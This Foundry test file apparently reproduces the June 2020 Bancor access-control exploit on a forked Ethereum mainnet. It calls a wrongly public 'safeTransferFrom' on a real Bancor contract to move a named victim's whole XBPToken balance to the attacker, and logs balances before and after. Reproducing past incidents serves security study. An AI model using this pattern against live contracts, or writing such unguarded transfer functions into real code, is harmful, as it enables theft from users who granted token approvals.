src/test/2020-06/Bancor_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/*
8Bancor Protocol Access Control Exploit PoC
9 
10Some of the newly deployed Bancor contracts had the 'safeTransferFrom' function public.
11 
12As a result, if any user had granted approval to these contracts was vulnerable.
13 
14The attacker can check if an user had granted an allowance to Bancor Contracts to transfer the ERC20 token 
15 
16Example tx - https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
17*/
18 
19interface IBancor {
20    function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _value) external;
21}
22 
23contract BancorExploit is Test {
24    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
25    address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;
26    address victim = 0xfd0B4DAa7bA535741E6B5Ba28Cba24F9a816E67E;
27    address attacker = address(this);
28    IERC20 XBPToken = IERC20(0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40);
29 
30    IBancor bancorContract = IBancor(bancorAddress);
31 
32    function setUp() public {
33        cheats.createSelectFork("mainnet", 10_307_563); // fork mainnet at 10307563
34    }
35 
36    function testsafeTransfer() public {
37        emit log_named_uint(
38            "Victim XBPToken Allowance to Bancor Contract : ", (XBPToken.allowance(victim, bancorAddress) / 1 ether)
39        );
40        emit log_named_uint("[Before Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
41        emit log_named_uint("[Before Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);
42 
43        cheats.prank(address(this));
44        bancorContract.safeTransferFrom(
45            IERC20(address(XBPToken)),
46            victim,
47            attacker,
48            XBPToken.balanceOf(victim) //905987977635678910008152
49        );
50        emit log_string("--------------------------------------------------------------");
51        emit log_named_uint("[After Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
52        emit log_named_uint("[After Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);
53    }
54}